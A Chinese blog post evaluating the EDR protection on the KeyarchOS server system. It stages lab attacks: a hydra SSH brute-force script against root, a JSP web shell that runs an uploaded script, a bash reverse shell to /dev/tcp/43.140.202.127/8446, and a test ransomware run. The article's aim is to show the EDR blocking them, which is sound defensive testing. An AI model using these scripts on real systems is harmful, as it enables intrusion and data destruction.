浪潮信息KeyarchOS EDR 安全防护测评

背景

近几年服务器安全防护越来越受到企业的重视,企业在选购时不再仅仅看重成本,还更看重安全性,因为一旦数据泄露,被暴力破解,将对公司业务造成毁灭性打击。鉴于人们对服务器安全性的看重,本篇文章就来测评一下市场上一款非常畅销的服务器操作系统------浪潮信息服务器操作系统云峦KeyarchOS。

环境准备

在本次测评中,我们使用三台已经安装了KeyarchOS系统的机器(以下简称KOS主机),由于KOS的防护功能需要安装EDR安全工具(通过安装在KOS主机上的本地客户端(Agent)与管理中心联动,提供病毒木马、勒索软件、暴力破解等攻击的查杀防护功能,防御未知程序运行和关键业务文件篡改),我们的机器配置如下:

3台安装了KOS系统的服务器

|----|---------|--------------|
| 编号 | 设备名称 | 备注 |
| A | KOS主机 | 安装EDR agent |
| B | KOS主机 | 未安装EDR agent |
| C | EDR管理中心 | 未安装EDR agent |

另外在攻防演示时需要的病毒文件及程序也已经提前安装好了。下文会详细介绍。

下面进入第一个真实的业务场景。

基于暴力破解的横向渗透防护

在暴力破解中,攻击人员经常会使用一些工具来扫描,攻击我们的服务器了。使用这工具进行扫描漏洞,使用字典不断试出密码。

下面看一下KOS在防护hydra暴力破解工具方面的表现。

我们在B主机安装要使用 hydra工具,并编写用于攻击的脚本 hydra.sh

该脚本将会攻击我们的主机A(安装了EDR ) 和主机C(未安装EDR )。

其中hydra.sh代码如下:

bash 复制代码
#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

以上的命令是使用 hydra 工具进行 SSH 密码破解。下面是命令中各选项的详细解释:

hydra: 这是要使用的工具,hydra 是一个开源的、命令行下的多线程密码破解工具,可以用来破解各种服务的密码,包括 SSH、FTP、HTTP 等。

-l root: 这表示使用 "root" 作为用户名进行尝试。你可以替换 "root" 为任何你想要尝试的用户名。

-P pass_30.txt: 这表示使用 "pass_30.txt" 文件作为密码源。这个文件应该包含了你想要尝试的所有可能的密码。注意,这个文件需要在当前工作目录下,或者你需要提供完整的文件路径。

-t 4: 这表示使用 4 个线程进行破解。你可以根据需要增加或减少线程数。

-I ssh://[主机C IP] 这是你要破解的目标服务器的地址。在这个例子中,目标服务器是位于 IP 地址 [主机C IP] 的 SSH 服务。注意,在 IP 地址前需要加上 "ssh://"。

使用下面指令来运行该脚本 sh hydra.sh,以下为显示的日志

从日志中我们可以看到,主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR 。

反观未安装EDR 的主机C则被成功爆破,被破解了登录密码。

挖矿病毒防护

最近有一些人利用工具扫描服务器漏洞,利用扫描出的漏洞,上传文件,进行远程操作机器,我们熟知的挖矿病毒就是这样一类程序。

下面来演示一下,KOS在防范shell入侵的表现。

首先在主机A,主机B上准备好上传文件的程序。打开浏览器,访问 http://IP:8080/reverse/upload.html页面 这是一个上传文件的页面。如下图:

其中 upload.html内容如下:

html 复制代码
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

通过这个入口上传两个文件 reverse.jsp 和 shell.sh

两个文件的内容如下:

reverse.jsp内容:

html 复制代码
<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

shell.sh 内容

bash 复制代码
#!/bin/bash
bash -i >& /dev/tcp/43.140.202.127/8446 0>&1

在安装了EDR agent的机器A上,上传病毒文件,直接显示上传失败

下面看一下在未安装EDR agent的机器B上的表现。

在机器B上,能够直接上成功两个文件。

上成功后我们在测试靶机C使用nc -l -vv -p 8446命令监听8446端口

能够看到 主机B (未安装EDR)在测试靶机反弹成功,到了这一步,主机B已经执行了上传的shell.sh脚本。

勒索病毒防护

我们在机器A和机器B上分别执行勒索病毒脚本,该勒索病毒会加密我们的doc文件。

执行脚本install.sh

bash 复制代码
#!/bin/bash


./testransomware /opt/2csec/

我们使用加密病毒testransomware 来对某个文件夹下的doc文件进行加密。

在 主机B (未安装EDR) 执行结果

从日志上看,文件都以被加密完成。

查看/opt/2csec 文件夹。查看文件,发现文件扩展名都已被修改。

在 主机A (未安装EDR) 执行结果

会将进程杀死,并删除testransomware病毒

总结

以上就是针对浪潮信息KOS做的一些安防测评,模拟了最常见的暴力破解,漏洞上传,和勒索病毒的防控。

从大体上来讲在安装了EDR安全工具的KOS主机上,都能够准确无误地识别并拦截成功。

相关推荐
旭华智能2 小时前
智慧脚下生根,智能井盖监测终端引领城市安全新革命
安全
远方 hi3 小时前
linux如何修改密码,要在CentOS 7系统中修改密码
linux·运维·服务器
资讯分享周4 小时前
过年远控家里电脑打游戏,哪款远控软件最好用?
运维·服务器·电脑
chaodaibing4 小时前
记录一次k8s起不来的排查过程
运维·服务器·k8s
mcupro5 小时前
提供一种刷新X410内部EMMC存储器的方法
linux·运维·服务器
黑客老李5 小时前
区块链 智能合约安全 | 回滚攻击
服务器·数据仓库·hive·hadoop·区块链·php·智能合约
不知 不知6 小时前
最新-CentOS 7 基于1 Panel面板安装 JumpServer 堡垒机
linux·运维·服务器·centos
BUG 4046 小时前
Linux--运维
linux·运维·服务器
dot.Net安全矩阵6 小时前
拒绝 Github 投毒,通过 Sharp4SuoBrowser 分析 Visual Studio 隐藏文件
ide·安全·web安全·github·.net·.netcore·visual studio
柴郡猫^O^6 小时前
OSCP - Proving Grounds - Quackerjack
安全·网络安全·安全性测试